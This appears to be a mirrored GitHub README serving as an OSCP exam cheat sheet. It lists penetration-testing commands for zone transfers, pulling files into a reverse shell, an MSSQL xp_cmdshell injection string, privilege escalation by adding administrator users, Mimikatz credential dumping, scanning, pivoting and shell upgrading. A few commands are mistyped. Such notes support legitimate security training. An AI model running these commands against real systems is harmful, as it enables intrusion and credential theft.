Giter Club home page Giter Club logo

justtryharder's Introduction

JustTryHarder

Just Try Harder and pass the OSCP!

Active Directory & Domain Controllers

DNS - Zone Transfers

host -t axfr test.local 10.10.10.10

host -l test.local 10.10.10.10

File Transfers

Wget Transfer How to retrieve file(s) from host (inside a reverse shell)

1. Place file you want transferred in /var/www/html/
2. # service apache2 start
3. # wget http://10.10.10/pspy64 <- for single file
4. # wget -r http://10.10.10.10/pspy64/ <- for folder

MSSQL

  • EXEC master..xp_cmdshell 'whoami';
  • meh' exec master..xp_cmdshell 'whoami' --

Priv Esc - Linux

  • grep -Ri 'password' .
  • find / -perm โ€“4000 2>/dev/null
  • find / -user root -perm -4000 -exec ls -ldb {} ;

Priv Esc - Windows

  • c:\Inetpub>churrasco -d "net user /add "
  • c:\Inetpub>churrasco -d "net localgroup administrators /add"
  • c:\Inetpub>churrasco -d "NET LOCALGROUP "Remote Desktop Users" /ADD"

Post Exploitation

  • Mimikatz.exe (run it)

  • privilege::debug

  • sekurlsa::logonpasswords

Port Scanning

reconnoitre -t 10.10.10.10 -o . --services --quick --hostnames

nmap -sT -sU -p- --min-rate 10000 nmap -sT -sU -p <open ports seperated by ,'s> -A obviously drop -sU if no UDP ports are open

  • TCP nmap -p- -iL ips.txt > AllTCPPorts.txt

  • UDP (can take hours so maybe netstat is a better alternative) nmap -p- -sU -iL ips.txt > udp.txt nmap -sU -sV -iL ips.txt > alludpports.txt

  • SNMP nmap -p161 -sU -iL ips.txt > udp.txt (cmd could be wrong, double check)

  • SSH nmap --script ssh2-enum-algos -iL ips.txt > SSH.txt

  • SSL nmap -v -v --script ssl-cert,ssl-enum-ciphers,ssl-heartbleed,ssl-poodle,sslv2 -iL ips.txt > SSLScan.txt

Pivoting

sshuttle -r [email protected] 10.1.1.0/24

Shell Upgrading

  • In reverse shell
  1. python -c 'import pty; pty.spawn("/bin/bash")'
  2. Ctrl-Z
  • In Kali
  1. stty raw -echo
  2. fg
  • In reverse shell
  1. reset (sometimes optional)
  2. export SHELL=bash
  3. export TERM=xterm-256color
  4. stty rows columns (optional)

Show listening ports

  • Linux netstat syntax

    1. netstat -tulpn | grep LISTEN
  • FreeBSD/MacOS X netstat syntax

    1. netstat -anp tcp | grep LISTEN
    2. netstat -anp udp | grep LISTEN
  • OpenBSD netstat syntax

    1. netstat -na -f inet | grep LISTEN
    2. netstat -nat | grep LISTEN
  • Nmap scan syntax

    1. sudo nmap -sT -O localhost
    2. sudo nmap -sU -O 192.168.2.13 ##[ list open UDP ports ]##
    3. sudo nmap -sT -O 192.168.2.13 ##[ list open TCP ports ]##

SMB - Impacket

Password: (password)

[*] Trying protocol 445/SMB...

  • Impacket's SMBServer cd /usr/share/windows-binaries python /usr/share/doc/python-impacket/examples/smbserver.py a .

SMTP Enumeration

https://github.com/s0wr0b1ndef/OSCP-note/blob/master/ENUMERATION/SMTP/smtp_commands.txt

Web Shells

WordPress

Windows Framework / Powershell

Windows Post Exploitation Commands

  • net user
  • net user USERNAME NEWPASS
  • net user "USER NAME" NEWPASS

justtryharder's People

Contributors

sinfulz avatar

Watchers

James Cloos avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.